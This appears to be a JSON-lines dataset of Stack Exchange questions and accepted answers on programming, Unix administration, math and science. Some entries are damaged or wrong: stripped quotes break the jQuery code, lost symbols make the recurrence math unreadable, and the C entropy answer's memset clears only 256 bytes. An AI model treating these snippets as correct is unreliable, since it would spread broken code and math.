{  "id": "_scicomp.14645"  , "question": "I am trying to write an algebraic multi-grid solver (in c++). At a given level I determine which nodes are c-points and which nodes are f-points (where the total number of c and f points equals the matrix dimension on that level). Therefore I need two arrays: one array to hold the indices of the c-points, and one array to hold the indices of the f-points. The problem is I do not know how many c-points (or f-points) there will be before hand and so I don't know how large to make these arrays. One option is to just make both arrays to have size the same as the number of rows in the matrix that way ensuring no overflow. This is what I am doing right now, but this entails significant extra storage wasted. I could also essentially run my function that determines the c-points and f-points twice, where the first time I just record the final sizes, but this is obviously a lot of extra work. Does anyone know what is the best strategy for dealing with this? There does not seem to be any way of determining the final number of c-points without actually computing them one after another."  , "title": "How to determine the number of c points in algebraic multi grid"  , "tags": "linear algebra;c++;multigrid"  , "accepted_answer": "Maybe you could make one array that's sized for the total number of points, then fill it with coarse points from the front and fine points from the back. They'll meet up somewhere in the middle (but not overlap)."  } 
{  "id": "_softwareengineering.80390"  , "question": "For some reason I got thinking the other day about DBAs and what they do. This thread goes some way to answer this question, but then I looked up the leading jobs site in my area out of curiosity, and it seems like there are more Oracle DBA jobs around than many other technology specialties. Even relatively common-sounding ones, such as Java Developer or Network Administrator.Here's the thing: I've been in this industry for ten years, worked in several jobs (a couple in fairly large corporate shops too), and I've never actually seen a real live DBA. There was usually a self-taught database guru around who was the goto guy for database issues (otherwise employed as a developer like the rest of us), but I've never seen anyone in an official DBA role, anywhere, ever.So, where are all the DBAs? I'm guessing that since all the places I've worked so far were relatively application-oriented, I've just never experienced a very hardcore DB-heavy environment. At the same time, at least one of the jobs I've had seemed like a pretty extreme data-centred operation (real time market/trading systems, huge databases), and even here the only database people were these developers who were database gurus on the side. No official DBA roles.Is it really just a case of me never having been in the kind of environment where DBAs are needed? If so, what kind of environment is that? Is this phenomenon perhaps to do with data centres being separate/outsourced operations these days, so most application level programmers just don't see them anymore?Note: I am basically trying to understand where the separation between developers who know databases well and actual DBAs is. It seems like a lot of dev roles require some pretty hardcore database knowledge these days (and that most development teams - even in quite DB-heavy environments - get by without an official DBA on staff). ie Please don't close or move to dba.SE."  , "title": "Where are all the DBAs?"  , "tags": "database;dba"  , "accepted_answer": "A DBA is not a SQL developer. A DBA is an administrator. He/She installs, configures, backs-up, restores, grant privilges, control security, does physical tuning, migration, manage vendor app DBs (SAS, PeopleSoft) etc of a database. All medium-large enterprise (banks, insurance, retail etc) with valuable data in DB will have a DBA whether in-house or outsourced. And no a developer is not suitable for a DBA; the roles, responsibility and even work hours can be different.A database Developer is an SQL expert who is a part of the application development team. It is he/she who develops the logical data model (tables, views, indexes etc) and all SQL code (Stored Procs, dynamic SQL) including optimisation. This person may be an exclusive SQL developer (as I have in my team) or a shared SQl/OtherPorgrammingLanguage developer. Most importantly this person would have no access to production DBs and all changes would actually be performed by the DBA using change scripts or other tools. The DBA in turn should NOT question the SP code or Table schema as that is owned by the application ( I am talking about apps that own the DB and all data goes into the DB via the app)."  } 
{  "id": "_codereview.33774"  , "question": "I am constructing a selector on every radio button click. Since I am using the table repeatedly on every radio click, I cached it like:var $t1 = $(#tableone);but inside the radio check event, I need to retrieve the selector to construct a string.Approach 1:$radio.click(function () {        var temp = $t1.selector +  . + $(this).attr(mobnum);Note: If I do not $t1.selector, it comes as [object][Object] which I do not want, so I have to use $t1.selector.Since I am using $t1.selector to construct temp every time radio is clicked, is there still a benefit caching the table at the beginning?Approach 2:$radio.click(function () {var temp = $(#tableone) +  . + $(this).attr(mobnum);Which one's better?"  , "title": "Selector on every radio button click"  , "tags": "javascript;jquery;comparative review"  , "accepted_answer": "I don't think your approach 2 will do what you want. So I the first one would be better.It looks to me though that you are building another selector. Probably to find the child element. So I would recommend something like this:var $c = $t1.find(. + $(this).attr(mobnum)).This returns the child element. This way you are already selecting only out of the children of $t1. Which would be more efficient, in theory."  } 
{  "id": "_codereview.45444"  , "question": "I have written the following C code for calculating the Shannon Entropy of a distribution of 8-bit ints. But obviously this is very inefficient for small arrays and won't work with say 32-bit integers, because that would require literally gigabytes of memory. I am not very experienced in C and don't know what would be the best approach here. If it would simplify things, I could use C++ or Objective-C...Also, please tell me about any other issues with the code you may find :-)double entropyOfDistribution(uint8_t *x, size_t length){    double entropy = 0.0;    //Counting number of occurrences of a number (using buckets)    double *probabilityOfX = calloc(sizeof(double), 256);    for (int i = 0; i < length; i++)        probabilityOfX[x[i]] += 1.0;    //Calculating the probabilities    for (int i = 0; i < 256; i++)        probabilityOfX[x[i]] /= length;    //Calculating the sum of p(x)*lg(p(x)) for all X    double sum = 0.0;    for (int i = 0; i < 256; i++)        if (probabilityOfX[i] > 0.0)             sum += probabilityOfX[i] * log2(probabilityOfX[i]);    entropy = -1.0 * sum;    free(probabilityOfX);    return entropy;}btw, this is the formula I implemented:  $$ H(x) = -\\sum_{x} p(x) \\log(p(x))$$"  , "title": "Counting occurrences of values in C Array (Shannon Entropy)"  , "tags": "c;beginner"  , "accepted_answer": "Firstly, you know the size of the number of buckets you want to use here, so there is no reason to use dynamic allocation (specifically, double *probabilityOfX = calloc(sizeof(double), 256);). This could simply be:double probabilityOfX[256];memset(&probabilityOfX, 0.0, 256);You don't need to free this memory at the end then, either, reducing the possibility for memory leaks.Of course, this is fine for small values (like what can fit in a uint8_t), however, using a uint32_t (or larger), this will pre-allocate a large array which could potentially be very sparse. In this case, what you actually want is a dictionary data structure (like a hashmap). Since C doesn't have anything like this inbuilt, I'm going to switch over to C++ so we can use std::unordered_map and some other nice things like std::vector (instead of raw uintx_t pointers):double entropyOfDistribution(const std::vector<uint32_t>& vec){    std::unordered_map<uint32_t, unsigned> counts;    // Store the number of counts    for(uint32_t value : vec) {        ++counts[value];    }    double sum = 0.0;    // Note the cast as otherwise we'll be doing integer    // division and hence rounding to an int -    // thanks @syb0rg for pointing that out.    const double num_samples = static_cast<double>(vec.size());    for(auto it = counts.begin(); it != counts.end(); ++it) {        double probability = it->second / num_samples;        sum += probability * log2(probability);    }    return -1.0 * sum;}"  } 
{  "id": "_codereview.37542"  , "question": "There is a pattern that keeps coming up in my ruby code and I'm somewhat ambivalent about it. It's somewhere between a Hash and a Struct. BasicallyI used method_missing to return/set values in the Hash unless I want to override a specific value with some logic or flatten out the complex underlying structure in the JSON. It's very flexible and quickly allows code changes, but it also hides much of the structure of the object.In effect, the structure is in the data ( JSON file ) and not in the code.Is this an effective Pattern or just asking for trouble down the road? class AttributeKeeper    def initialize      @attributes = Hash.new    end    def import       // Special import methods usually from JSON    end     def export       // Export to JSON with maybe some data verification along the way.    end    def special_value= (value )        // Perform data check on special value        @attributes[special_value] = value    end     def checked_value        // Return value if passes checks.     end    def method_missing(meth, *args, &block)      smeth = meth.to_s      trim = smeth.chomp('=') #Handle setter methods.      unless ( smeth == trim )        @attributes[trim] = args[0]      else        @attributes[smeth]      end    end    def responds_to?(meth)      smeth = meth.to_s      if( @attributes[smeth] or smeth[-1,1] == '=')        true      else        super      end    endend "  , "title": "Ruby Dynamic Struct - Pattern or AntiPattern?"  , "tags": "ruby;design patterns"  , "accepted_answer": "Useful to create mock, small scripts, remote api mapping... the github ruby api Octokit.rb is using this kind of pattern.Don't use this for huge (1000+) collection of objects with intensive call on them. The method_missing, symbol conversion will compromise your performance, generating a memory bloat and a lot of garbage collection,the Hashie isn't optimized as ActiveRecord::Base (method_missing triggering a define_method) so method call resolution has a always higher cost.Another aspect is that you tend to put your code at the wrong place (UtilityClass#full_name) instead of the actual class (user.full_name)."  } 
{  "id": "_unix.284744"  , "question": "I'm trying to figure out best way to control network settings in best way possible in real time.My current plan is this:Start ip -s -d -o monitor with systemd and write its output to file generated with mkfifo or write tiny script which outputs to tcp socket 127.0.0.1:<some port>Write shell script which reads the file/socket and generate systemd network config files on the fly if there are changes and of course use other commands to read additional data for systemd configuration depending of the changeThis way you can use ip <cmd> command to change network settings in real time and also you can write systemd config files by hand and restarting networkd and then again both ip and systemd's network settings stays in sync after boot.Then the question: or is there even better way?For example is there commands like:systemd-networkd --add-vlan 123 --name lansystemd-networkd --attach-vlan lan --device interface0systemd-networkd --monitor --script /etc/network_changes_script.sh"  , "title": "Systemd and controlling network settings"  , "tags": "scripting;systemd;network interface;systemd networkd"  } 
{  "id": "_unix.381044"  , "question": "When I enter who command in the shell, i got this:root         tty1   2017-04-01 12:21langxiaowei  pts/2  2017-07-21 18:05So, for the safe, I want to kill the root user. Then I enter the comamnd in the shell:sudo pkill -kill -t tty1After, I enter who command again, I sure the root user is gone! But, a few seconds later, I lost connection from the machine. The host is not alive. The host restarted.I saw the last -x output, it's below:runlevel (to lvl 2)   3.13.0-24-generi Fri Jul 21 18:10 - 00:45  (06:35)    reboot   system boot  3.13.0-24-generi Fri Jul 21 18:10 - 00:45  (06:35)    shutdown system down  3.13.0-24-generi Fri Jul 21 18:06 - 18:10  (00:03)    langxiao pts/2        10.15.1.15       Fri Jul 21 18:05 - down   (00:00) The syslog output is :Jul 21 18:06:39 ubuntu kernel: [9611571.765277] init: mountall-shell main process (6462) killed by KILL signalJul 21 18:06:40 ubuntu kernel: [9611571.879372] init: tty1 main process (1221) killed by HUP signalJul 21 18:06:40 ubuntu kernel: [9611571.879387] init: tty1 main process ended, respawningThe Linux Version is : Ubuntu 14.04 LTS \\n \\lThe kernel is : Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/LinuxI seemly ps -ef|grep tty1, saw /sbin/sulogin, perhaps there has relations. As I knew the comamnd pkill -kill -t tty1 is safe, can not cause reboot host. But why here reboot?I connected the host from remote on the secureCRT.PS:On Host B, I alse do pkill -kill -t tty1, there is no reboot, and the syslog is :Jul 21 18:04:34 ubuntu kernel: [32147390.433895] init: tty1 main process (997) killed by KILL signalJul 21 18:04:34 ubuntu kernel: [32147390.433917] init: tty1 main process ended, respawning"  , "title": "When I killed tty1 root user on ubuntu14.04the system reboot. Why?"  , "tags": "ubuntu;tty;kill;reboot"  } 
{  "id": "_unix.171399"  , "question": "How would you grep for a line containing only 5 or 6 numbers? Something like this. case 1  (has leading space)           10      2       12      1       13case 2  (no leading space)   1       2       3       4       5        6I thought something like this would work. grep -E '[0-9]{5}'"  , "title": "Grep for a line containing only 5 or 6 numbers"  , "tags": "grep"  } 
{  "id": "_unix.14127"  , "question": "In Mac OS X, if I don't touch it for a while, it will lock the screen and one must use password to unlock it, but this kind of log in is not recorded by last command. I want to know if anybody tried to break into my MacBook when I am not in front of it. Is there any way I can log such attempts?"  , "title": "How to know when and which user logged into the system under Mac OS X? Last is not enough!"  , "tags": "osx;login;logs;last"  , "accepted_answer": "If you suspect that someone has correctly guessed your password and got in, you can check this via the Console. To access Console press +space and type 'console' in the Spotlight box that appears. Click return.Click on 'Diagnostic and Usage Messages' on the left panel. At the time of the correct login attempt you see something like this:Note: 'screen locked, user typed correct password'.Now if someone tried, yet failed, you'd see something like this under system.log (also accessible via Console):I hope that's of some assistance to you."  } 
{  "id": "_softwareengineering.188480"  , "question": "I want to fork on Github the TestNG java testing framework (Apache 2 license) so I can add/change some minor things to suit my needs.It's unlikely that all of my changes would be approved in the main project or that other people would use my fork. This would in no way be a competition to the main project.Now, in terms of naming, I want to change the artifact name (testng-mycompany) or the version (6.8.mycompany) so there's no confusion with the official version in my maven repository. Would this be considered poor etiquette? If yes, what is the best approach to distinguish your fork?"  , "title": "What is the etiquette of renaming an open source fork?"  , "tags": "open source;github;etiquette;forking"  } 
{  "id": "_unix.182605"  , "question": "I have a strange problem with our cluster solution on Linux. We have the following set-up in our environment. Each of these servers hosts our enterprise application.Server1Server2Server3  Server1 fails over to Server2, Server2 fails over to Server3 and Server3 fails over to Server1 (Round Robin). The cluster is set-up using the RHEL clustering solution. When the fail over happens, the application mount points are moved to the other(Host) server, but the /home/sftpuser/.ssh directories are still in the original physical servers. The same user is on all the 3 Servers and hence we cannot overwrite the /home/sftpuser/.ssh directory on the Host server with the contents from the Guest Server. How can we pull files using sftp from the failed over server? Can we create a new user with his home directory in the application related mount points?"  , "title": "Linux Cluster - SFTP between failed over Servers"  , "tags": "linux;sftp;cluster"  , "accepted_answer": "I spoke to our sysadmin and adding the public keys corresponding to the Virtual IPs of the guest Servers in the authorized_keys files of all the servers did the trick. This enables the application to talk to the guest server irrespective of where they are physically running. "  } 
{  "id": "_unix.324132"  , "question": "This is partly a straight question and partly an attempt to gain more understanding about how QNAP network servers work.My office uses a local network drive installed with (according to /proc/version) a Linux 3.2.26 QNAP build. While trying to sort out a number of mishaps while our sysadmins were away, I learned that QNAP uses Samba/SMB.When I was initially trying to find the device with avahi-discover to connect to it (I'm running Ubuntu 16.04), it showed up under Microsoft Windows Network (as well as _qdiscover._tcp and a few others). I'm not sure if that means that QNAP is running a Windows VM that's confusing Avahi, or if it's just offering up connection options to as many OSes as possible and the Windows one is just what Avahi happened to pick up on.Is there a Linux command for determining this sort of thing? Or am I misunderstanding how this all works? I'm not a proper sysadmin but the two in our office are primarily Windows users, so having an understanding of the system is handy when I have to untangle something unusual between my machine and the network drive."  , "title": "How to list QNAP virtual machines from an SSH command line?"  , "tags": "ubuntu;networking;windows;samba;smb"  } 
{  "id": "_unix.92599"  , "question": "I ran df, and the output appears almost instantly:(FS        Size  Used   Avail  Use%)/dev/sda1  145G  8.4G   130G   7%sda1 is an ext4 partition.Without summing the size of all files, how can df give me the space information almost instantly?"  , "title": "How does my partition (ext4) know its size of used/free space?"  , "tags": "linux;filesystems;ext4"  , "accepted_answer": "Like traditional Unix File Systems, ext2, ext3 and ext4 have a segment of metadata called a superblock, which contains information about the configuration of the file system. The primary superblock is stored at a fixed offset from the start of the partition, and since the information it contains is so important, backup copies of the superblock are stored throughout the file system.The information the superblock contains includes the total number of inodes and blocks in the filesystem and how many are free. This information can be used to calculate the used and available space of the file system efficiently."  } 
{  "id": "_unix.388328"  , "question": "Now sudoers supports the subfolder /etc/sudoers.d where we can set personalized rules there.  I want use it and avoid changing the main /etc/sudoers file.  So, in a file into /etc/sudoers.d/99_adjusts I want to unset the main user specification rule :ALL   ALL=(ALL) ALLI am trying to avoid commenting it out at /etc/sudoers.I would want something which revokes this rule set before: !ALL   ALL=(ALL) ALLBut the above unfortunately does not work;! looking at the man pages I can't figure out if there is some trick to do that."  , "title": "How unset a rule in sudoers?"  , "tags": "linux;sudo"  , "accepted_answer": "AFAIK, it is not possible to remove sudo rules in a sudo config file. You should remove the main config file /etc/sudoers and write your rules only in /etc/sudoers.d/*.  Using both is source of confusion."  } 
{  "id": "_unix.265810"  , "question": "I have created an open-ssl private key which I would like to use to connect to my server through ssh. The openssl key was generated during certificate creation and I have to use this key on putty. The problem is that puttygen only allows openssh type keys to be converted to putty keys. How do I convert my open-ssl private key to openssh private key so I can convert it to putty key? The length of the private key is 2048 bits."  , "title": "How to convert open-ssl created private key to openssh private key?"  , "tags": "ssh;openssl;openssh;conversion;key authentication"  } 
{  "id": "_unix.100704"  , "question": "What's the difference between executing multiple commands with && and ;?Examples:echo Hi\\! && echo How are you?andecho Hi\\!; echo How are you?"  , "title": "Difference between executing multiple commands with && and ;"  , "tags": "bash;shell"  , "accepted_answer": "In the shell, && and ; are similar in that they both can be used to terminate commands. The difference is && is also a conditional operator. With ; the following command is always executed, but with && the later command is only executed if the first succeeds.false; echo yes   # prints yestrue; echo yes    # prints yesfalse && echo yes # does not echotrue && echo yes  # prints yesNewlines are interchangeable with ; when terminating commands."  } 
{  "id": "_unix.97302"  , "question": "Is there any standard that covers the portability of running a command after variable assignment on the same line?APPLE=cider echo hiHow portable is something like that? Where will it work and where won't it? Also: my shell scripts start with #!/bin/sh if that makes any difference."  , "title": "Is it shell portable to run a command on the same line after variable assignment?"  , "tags": "shell;posix"  , "accepted_answer": "As long as you're using a POSIX compliant shell, yes.From the POSIX definition of shell command language: (relevant points in bold)A simple command is a sequence of optional variable assignments and redirections, in any sequence, optionally followed by words and redirections, terminated by a control operator.When a given simple command is required to be executed (that is, when any conditional construct such as an AND-OR list or a case statement has not bypassed the simple command), the following expansions, assignments, and redirections shall all be performed from the beginning of the command text to the end:The words that are recognized as variable assignments or redirections according to Shell Grammar Rules are saved for processing in steps 3 and 4.The words that are not variable assignments or redirections shall be expanded. If any fields remain following their expansion, the first field shall be considered the command name and remaining fields are the arguments for the command.Redirections shall be performed as described in Redirection.Each variable assignment shall be expanded for tilde expansion, parameter expansion, command substitution, arithmetic expansion, and quote removal prior to assigning the value.In the preceding list, the order of steps 3 and 4 may be reversed for the processing of special built-in utilities; see Special Built-In Utilities.If no command name results, variable assignments shall affect the current execution environment. Otherwise, the variable assignments shall be exported for the execution environment of the command and shall not affect the current execution environment (except for special built-ins).Also, yes #!/bin/sh matters. From the POSIX definition of sh:The sh utility is a command language interpreter that shall execute commands read from a command line string, the standard input, or a specified file. The application shall ensure that the commands to be executed are expressed in the language described in Shell Command Language.So basically it says that sh must follow the rules we covered above.So as long as you're on a POSIX compliant OS, you're good."  } 
{  "id": "_webapps.14809"  , "question": "What HTML code do I need to include on my webpages if I want visitors to share the URL or links to their friends on a social network like Facebook or a web service like Tumblr?I want the text to read something like:Share with Facebook or TumblrIs there a web app or service that I can use that will include the popular options instead of having to know which service or social network I want to offer a share link to?"  , "title": "Quick way to share my webpage via links through Facebook or Tumblr"  , "tags": "facebook;sharing;tumblr;social networks"  } 
{  "id": "_webapps.25592"  , "question": "I'd like to view the revision history of a Google Docs document using more flexible tools like Git, and possibly migrate some content from Google Docs into a Git project.Google Docs has an API with access to the revision history, so this should be possible, for any of the variety of export formats it supports. I note, though, that there have been some API problems with revision history that mean that the list of contributors to each revision may not be complete, though they're considering fixing that:Sometimes there are more than one editor (for a particular revision). Yet, the API always gives me one editor per revision.Is there any code or advice on doing this available? Export to a different version control system like bzr, Mercurial, SVN or CVS would also be of interest.This is related to the Stack Overflow question Version Control with Google Docs Best Practices?, which was closed as off-topic there."  , "title": "Import Google Docs document revision history into a Git repository?"  , "tags": "google drive"  , "accepted_answer": "Lars Kellog-Stedman created a great little python app called gitdriver which I found on this answer at StackOverflow. It does what you're looking for. It authenticates to Google with OAuth and pulls down all the revisions of a document, committing them to a git repository.With this, you could fetch a versioned copy of your Google Doc and then work with it using traditional git tools."  } 
{  "id": "_cogsci.17872"  , "question": "I recently finished reading Habits of a happy brain, which discusses the role of oxytocin, serotonin, endorphin, dopamine, and cortisol in seeking behavior.The book argues that we evolved to direct ourselves towards things that would promote our survival, and each of these hormones has a role to play in either strengthening certain behaviors, or encouraging us to move on from certain behaviors - one of the ways this is done is Dopamine/Serotonin disappointment (I don't recall if it was also relevant for oxytocin), which lessens the reward - and seems to have evolved because it encouraged us to move on and try to do even better.But the book makes no mention of passion*, or how it fits in into all these discoveries.Specifically, I wonder, how is passion possible in light of these disappointments? I'd imagine passion involves a significant feeling of reward. Is there another hormone involved, one that's less... disappointing?And how does passion develop into what it is? I am a big believer in the claim (which also appears in the book) that we evolved to seek ways to survive, and that what makes us happy (or sad, or stressed) is perceived by us as helpful (or detrimental) to our survival. How does one connect something to the need for survival in such a way that gives him so much energy and continuously rewards him for doing it?And, being practical as always,How can I get me some of them passion?(Don't worry, it's for a good cause)*Please note that I am specifically talking about passion towards a thing/hobby, as opposed to towards a partner. I don't know how much overlap there is, but I wouldn't go there before I delve into the (surely extensive) body of research into love."  , "title": "What causes passion, psychologically and chemically, and how does it last?"  , "tags": "emotion;motivation;dopamine;reward;serotonin"  } 
{  "id": "_unix.343548"  , "question": "I'm running some third-party Perl script written such that it requires an output file for the output flag, -o. Unfortunately, the script appears to require an actual file, that is, users must create an empty file filename.txt with 0 bytes and then input this empty file on the script command line perl script1.pl -o filename.txtQuestion: How would I create an empty file within a bash script? If one simply tries perl script1.pl -o filename.txt, the script gives an error that the file doesn't exist."  , "title": "How do I create a new empty file in a bash script?"  , "tags": "bash;shell script;shell;files"  , "accepted_answer": "Use touch command. touch filename.txt."  } 
{  "id": "_reverseengineering.3792"  , "question": "I have a mipsel executable (DvdPlayer from a RTD1283 firmware). I know that IDA is able to identify many functions. Then, I would like to generate a .sig file with signatures of these functions for use with other executable DVDPlayer (from other firmwares).Would it be possible to convert the executable in a library ?"  , "title": "Generate a sig file from ELF executable"  , "tags": "ida;firmware;mips"  } 
{  "id": "_cs.75008"  , "question": "What is the asymptotic behaviour, in  notation, of the smallest function that for any $n_1$ and $n_2$ satisfies the following:$$t(n_1+n_2)t(n_1)+t(n_2)+c\\log_2(1+n_2)$$where $n_1n_21$ and $t(1)=1$I tried to see what happens if $n_1 = n_2$:$$t(2n)t(n)+t(n)+c\\log_2(1+n)$$$$t(n)2t(n/2)+c\\log_2(1+n/2)$$Also if $n_2=1$:$$t(n+1)t(n)+t(1)+c\\log_2(2)$$$$t(n)t(n-1)+1+c$$But I am not sure where to go next, or if this is a correct approach."  , "title": "Asymptotics of a recurrence defined with two variables"  , "tags": "asymptotics"  , "accepted_answer": "The function $t$ is given by $t(n) = 1$ and for $n>1$,$$t(n) = \\min_{1 \\leq k \\leq n/2} t(n-k) + t(k) + c\\log_2(1+k).$$You can prove by induction that$$t(n) = n + c(n-1).$$This holds when $n=1$. For the inductive step,$$\\begin{align*}t(n-k) + t(k) + c\\log_2(1+k) &= [n-k + c(n-k-1)] + [k + c(k-1)] + c\\log_2(1+k) \\\\ &= n + c(n-2) + c\\log_2 (1+k) \\\\ &\\geq n+c(n-2)+c \\\\ &= n + c(n-1).\\end{align*}$$"  } 
{  "id": "_bioinformatics.2361"  , "question": "I have data, obtained from a single metagenomic DNA sample, that consists of two MiSeq FASTQ files (R1 and R2) that I merged using PEAR.Now I want to estimate the abundances of the bacteria taxa to generate a figure like this one:Figure from: Panosyan, Hovik, and NilsKre Birkeland. Microbial diversity in an Armenian geothermal spring assessed by molecular and culturebased methods. Journal of basic microbiology 54.11 (2014): 1240-1250.The problem is that there wasn't a step of amplification of the 16S region as the goal of the sequencing was to discover new genes. I've already isolated 16S reads from my sample using SortMeRNA, but it seems like softwares that do OTU picking, taxonomic assignment and diversity analyses (such as mothur and QIIME) require that all the reads come from the same region of the 16S gene.Is there a way of using these 16S reads that I've filtered using SortMeRNA in a diversity analysis using mothur/QIIME?"  , "title": "Microbial diversity analysis using whole-genome metagenomic data"  , "tags": "metagenome;taxonomy"  } 
{  "id": "_unix.230822"  , "question": "I keep several Linux distros on a USB stick and manage them by simply writing grub.cfg entries for each distro. The other distros I keep on the stick boot and run just fine, but I (and others, it seems) started having problems with Debian Jessie (8.x). Debian Netinst will boot to the debian-installer curses interface, but then tries to search for the correct debian iso file, even when the iso path is given in the kernel line in grub.cfg.I've been partially successful trying to boot debian-8.2.0-amd64-i386-netinst.iso from a USB stick.  I first setup my USB stick using the USB multiboot instructions found on the ArchWiki.Here's a simplified file and folder structure of the USB stick, followed by the relevant grub.cfg entries.USBROOT/    ----boot/        ----grub/            ----grub.cfg            ----(other grub paraphernalia)        ----iso/            ----debian/                ----debian-8.2.0-amd64-i386-netinst.iso                ----initrd.gz (special initrd)While there is an initramfs within the iso, it won't allow debian to boot properly for reasons I don't really understand; it is explained briefly in the two links I've given so far.Now my grub.cfg entries.  I know this is an i386/amd64 multiarch iso, but I will just focus on the 64 bit part for simplicity.  If we can figure out the 64 bit part, I should be able to easily make another entry for i386:probe -u $root --set=rootuuidset imgdevpath=/dev/disk/by-uuid/$rootuuidmenuentry 'Debian 8.2 Multiarch' {    set isoname='debian-8.2.0-amd64-i386-netinst.iso'    set isopath='/boot/iso/debian'    set isofile=${isopath}/${isoname}    set initrdfile=${isopath}/initrd.gz    loopback loop $isofile    linux (loop)/install.amd/vmlinuz iso-scan/ask_second_pass=true iso-scan/filename=${imgdevpath}/${isofile} config quiet    initrd ${initrdfile}/initrd.gz}As an aside: changing the initrd line toinitrd ${initrdfile}makes grub (I think) throw an error.  Grub pauses for a few moments, then Debian tries to boot and immediately has a kernel panic--as expected, because it can't find an initramfs.  However, this doesn't happen when I fully write out the path as shown in the block code example.  Why would it throw an error when I specify the path with set variables, and not when just writing out the full path by hand?  But my main question is:What kernel boot parameters must I supply so that no search is performed and the iso is located at the path I specify. The installer does eventually find the correct iso by searching, but why did it have to search?I am almost certain it has everything to do with the linux line:linux (loop)/install.amd/vmlinuz iso-scan/ask_second_pass=true iso-scan/filename=${imgdevpath}/${isofile} config quietI've tried at least 20 variations on the theme, such as changing:iso-scan/filename=${isofile}findiso=${imgdevpath}/${isofile}findiso=${isofile}EDIT: I fixed the initrd problem:  I had single quotes when defining $initrdfile. The findiso/iso-scan/whatever problem still remains."  , "title": "How do you write a grub.cfg menuentry for Debian Netinst (8.2 as of writing) to boot via USB?"  , "tags": "linux;debian;boot;grub;debian installer"  } 
{  "id": "_unix.150946"  , "question": "I'm starting with VirtualBox and Linux on a Windows machine. I can log in to Linux using the Virtual Box command line but I want to do something pretty easy: log in from an external (not virtualbox) command line to Linux using ssh. I've created a user hsander to do so: ssh hsander@10.0.2.15 but: I get the message: Connection timed outTo do so I looked for my Linux ipaddress using: /sbin/ifconfig -a I get the following:Normally the IP is shown next to inet addr:.... but I think 10.0.2.15 is a pretty rare IP isn't?So what am I doing wrong?I've been searching on Google but yet no solutions..."  , "title": "Logging in to VirtualBox via SSH"  , "tags": "networking"  , "accepted_answer": "That IP is likely inside a NAT block which VirtualBox has set up. You need to either bridge or forward if you want to access the machine's ports from outside; you can do both from the virtual machine settings panel."  } 
{  "id": "_unix.25216"  , "question": "I'd like to see the absolute size in bytes of each file that has been compressed into single zip file.  Having read the zip man page, I'm not sure that that utility can do it.  This is on Mac OS X.Something like:$zip list myarchive.zipfile1.jpg 100 bytes compressed 3000 bytes uncompressedfile2.jpg 130 bytes compressed 3440 bytes uncompressed"  , "title": "Is there a command to list the compressed file sizes for files within a .zip file?"  , "tags": "files;compression;zip;size"  , "accepted_answer": "You can use the unzip utility with the -v flag:unzip -v files.zipArchive:  files.zip Length   Method    Size  Cmpr    Date    Time   CRC-32   Name--------  ------  ------- ---- ---------- ----- --------  ----       0  Stored        0   0% 11-23-2011 15:02 00000000  file1       0  Stored        0   0% 11-23-2011 15:02 00000000  file2--------          -------  ---                            -------       0                0   0%                            2 filesNote: The file sizes here are 0 because I made test files of zero length."  } 
{  "id": "_unix.323024"  , "question": "I have some source file suppose mydata.csv and my target table.I want to validate the record count whether it's same between the source file and the target table .The target table is in hive.I have gone through this LinkI want something like if [ eval target_count_command -eq count_from_csv ]then echo File loaded fineelseLOad Againfi"  , "title": "Check the count of records from the source file and the loaded target"  , "tags": "shell script;text processing;csv"  , "accepted_answer": "The easiest way to count records would be wc -l. If you have a variable with the number of CSV lines that should be referenced as $count_from_csv (with the quotes). You shouldn't need to use eval in this case; instead you'll want to run the command to count the target number of rows using $(target_count_command)."  } 
{  "id": "_unix.145444"  , "question": "I have a program Vuze that is written in Java, which I use to download very large files, and I'm having a problem with it. I need to increase the amount of memory it uses. I've followed the directions for the application but it doesn't change the real memory usage. I would think this would then be because Java (JVM) is not set to support the amount of memory I set in the application.I both get errors about files missing and low memory.How can I increase the memory used by my Java Virtual Machine?My Java is Oracle. My system is Fedora 20 X86_64 KDE."  , "title": "How to increase the memory used by Java in linux?"  , "tags": "fedora;memory;java;application;out of memory"  , "accepted_answer": "I found the solution to my problem here.The workaround: I increased the memory used to 1024M with these instructions.I set the Maximum files opened for read/write to a 101.I ran the application from the command line with this command:sudo bash -c 'ulimit -n 8192'; sudo -u username ./azureus"  } 
{  "id": "_unix.120973"  , "question": "I have a very old (c. 2001) computer and the most recent version of Ubuntu that it can run is 11.4.  I am thinking of replacing Ubuntu with Centos 6.5 but am not sure if the hardware can handle it.  I am therefore trying to install Centos 6.4 on a virtual machine using VMWare Player 3.1.6.  I user VMWare Player to install CentOS-6.5-i386 from an ISO.  It appears to run successfully and I get a Centos login dialogue.  However, when I click on the login dialogue (or do control-G), the cursor disappears.  I tried reinstalling Centos and found that the same thing happens during the installation so I suspect the problem lies with VMWare Player rather than with Centos 6.5.  The keyboard also appears to have no effect when the cursor is captured."  , "title": "Captured cursor invisible with Centos 6.4 running on VMWare Player 3.1.6 on Ubuntu 11.4"  , "tags": "vmware;centos"  } 
{  "id": "_unix.179570"  , "question": "I'm running a CentOS 7 server.So I've installed Two Factor Authentication with Google Authenticator a while back and all was well.However I can't access my server at the moment over SSH.PuTTY and WinSCP don't ask for the Verification Code anymore.How can I fix this? I've already tried rebooting the server which didn't help.My server is self hosted btw so I can access it offline."  , "title": "Putty not asking for Two Factor Authentication Code"  , "tags": "ssh;centos;authentication;putty"  } 
{  "id": "_unix.180777"  , "question": "I am relatively new to Linux.I was trying to rebuild MDM display manager for Linux mint from urlhttps://github.com/linuxmint/mdm. In the documentation it is said that you should use./autogen.sh --enable-ipv6=yes --with-prefetch If I do that and I do a make I will get this errormdm-daemon-config.c:1818:4: error: format not a string literal and no format    arguments [-Werror=format-security]gchar *s = g_strdup_printf (C_(N_(MDM ^Then I read somewhere that ubuntu is treating this as error. I tried with ./autogen.sh --enable-ipv6=yes --with-prefetch CFLAGS=-Wno-format-securityAnd I got rid of that warning but I got another error:mdm-daemon-config.c:2003:1: error: no previous prototype for  mdm_daemon_load_config_file [-Werror=missing-prototypes]   mdm_daemon_load_config_file (MdmConfig **load_config)  ^I tried then with ./autogen.sh --enable-ipv6=yes --with-prefetch CFLAGS=-Wno-format-security -Wno-missing-prototypesbut that didn't help either. When I do a make I see that gcc is using (among other things just copied the interesting part)-Wno-missing-prototypes  -Wall -Wstrict-prototypes -Wnested-externs -Werror=missing-prototypes so it is using both -Wno-missing-prototypes and -Werror=missing-prototypes which is probably what is causing it to malfunction."  , "title": "How to change CFLAGS for autogen.sh"  , "tags": "linux mint;make;gcc;mdm"  } 
